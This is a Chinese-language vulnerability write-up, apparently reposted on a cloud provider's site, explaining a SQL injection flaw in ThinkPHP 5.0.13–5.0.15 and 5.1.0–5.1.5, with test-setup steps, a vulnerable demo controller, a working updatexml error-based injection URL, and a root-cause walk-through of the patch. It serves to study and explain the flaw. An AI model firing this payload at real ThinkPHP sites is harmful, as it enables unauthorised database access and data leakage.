您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關ThinkPHP5中的SQL注入漏洞是什么,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
本次漏洞存在于 Builder
類的 parseData
方法中。由于程序沒有對數據進行很好的過濾,將數據拼接進 SQL
語句,導致 SQL注入漏洞
的產生。漏洞影響版本: 5.0.13<=ThinkPHP<=5.0.15
、 5.1.0<=ThinkPHP<=5.1.5
。
通過以下命令獲取測試環境代碼:
composer create-project --prefer-dist topthink/think=5.0.15 tpdemo
將 composer.json
文件的 require
字段設置成如下:
"require": { "php": ">=5.4.0", "topthink/framework": "5.0.15" }
然后執行 composer update
,并將 application/index/controller/Index.php
文件代碼設置如下:
<?php namespace app\index\controller; class Index { public function index() { $username = request()->get('username/a'); db('users')->insert(['username' => $username]); return 'Update success'; } }
在 application/database.php
文件中配置數據庫相關信息,并開啟 application/config.php
中的 app_debug
和 app_trace
。創建數據庫信息如下:
create database tpdemo; use tpdemo; create table users( id int primary key auto_increment, username varchar(50) not null );
訪問 http://yoursite/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
鏈接,即可觸發 SQL注入漏洞
。(沒開啟 app_debug
是無法看到 SQL
報錯信息的)
首先在官方發布的 5.0.16
版本更新說明中,發現其中提到該版本包含了一個安全更新,我們可以查閱其 commit
記錄,發現其修改的 Builder.php
文件代碼比較可疑。接著我們直接跟著上面的攻擊 payload
來看看漏洞原理。首先, payload
數據經過 ThinkPHP
內置方法的過濾后(不影響我們的 payload
),直接進入了 $this->builder
的 insert
方法,這里的 $this->builder
為 \think\db\builder\Mysql
類,代碼如下:而 Mysql
類繼承于 Builder
類,即上面的 $this->builder->insert()
最終調用的是 Builder
類的 insert
方法。在 insert
方法中,我們看到其調用 parseData
方法來分析并處理數據,而 parseData
方法直接將來自用戶的數據 $val
進行了拼接返回。我們的惡意數據存儲在 $val[1]
中,雖經過了 parseKey
方法處理,當絲毫不受影響,因為該方法只是用來解析處理數據的,并不是清洗數據。上面,我們看到直接將用戶數據進行拼接。然后再回到 Builder
類的 insert
方法,直接通過替換字符串的方式,將 $data
填充到 SQL
語句中,進而執行,造成 SQL注入漏洞
。至此,我們已將整個漏洞分析完了。實際上,上面的 switch
結構中,3種情況返回的數據都有可能造成 SQL
注入漏洞,但是在觀察 ThinkPHP
官方的修復代碼中,發現其只對 inc
和 dec
進行了修復,而對于 exp
的情況并未處理,這是為什么呢?實際上, exp
的情況早在傳入 insert
方法前就被 ThinkPHP
內置過濾方法給處理了,如果數據中存在 exp
,則會被替換成 exp空格
,這也是為什么 ThinkPHP
官方沒有對 exp
的情況進行處理的原因了。具體內置過濾方法的代碼如下:
最后,再通過一張攻擊流程圖來回顧整個攻擊過程。
看完上述內容,你們對ThinkPHP5中的SQL注入漏洞是什么有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。